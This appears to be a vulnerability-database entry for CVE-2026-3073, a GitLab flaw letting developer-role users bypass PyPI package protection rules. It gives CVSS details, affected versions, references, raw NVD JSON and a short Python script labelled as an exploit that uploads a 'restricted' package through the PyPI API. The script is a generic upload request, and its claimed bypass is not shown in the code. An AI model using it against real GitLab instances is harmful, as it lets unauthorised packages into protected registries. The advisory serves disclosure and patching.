CVE-2026-3073

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.6 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user with developer-role permissions to bypass PyPI package protection rules and upload restricted packages due to improper authorization checks.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GitLab CE/EE >= 17.6, < 18.9.7

GitLab CE/EE >= 18.10, < 18.10.6

GitLab CE/EE >= 18.11, < 18.11.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import os

# Target GitLab instance
GITLAB_URL = "https://gitlab.example.com"
PROJECT_ID = "123"
TOKEN = "glpat-xxxxxxxxxxxx" # Developer token
PACKAGE_NAME = "restricted-package"
VERSION = "1.0.0"

# The endpoint for PyPI upload
url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/packages/pypi"

headers = {
    "Authorization": f"Bearer {TOKEN}",
}

# Prepare the package files (metadata and distribution)
files = {
    'content': (f'{PACKAGE_NAME}-{VERSION}.tar.gz', open(f'{PACKAGE_NAME}-{VERSION}.tar.gz', 'rb')),
}
data = {
    'name': PACKAGE_NAME,
    'version': VERSION,
}

# Exploit: Bypass protection rules due to improper authorization check
response = requests.post(url, headers=headers, files=files, data=data)

if response.status_code == 201:
    print(f"[+] Successfully bypassed protection and uploaded {PACKAGE_NAME}")
else:
    print(f"[-] Failed: {response.status_code} - {response.text}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3073
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3073
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3073/
[4] VulDB https://vuldb.com/cve/CVE-2026-3073
[5] https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/
[6] https://gitlab.com/gitlab-org/gitlab/-/work_items/591227
[7] https://hackerone.com/reports/3532563

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3073", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:22.240", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.6 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user with developer-role permissions to bypass PyPI package protection rules and upload restricted packages due to improper authorization checks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/591227", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3532563", "source": "[email protected]"}]}}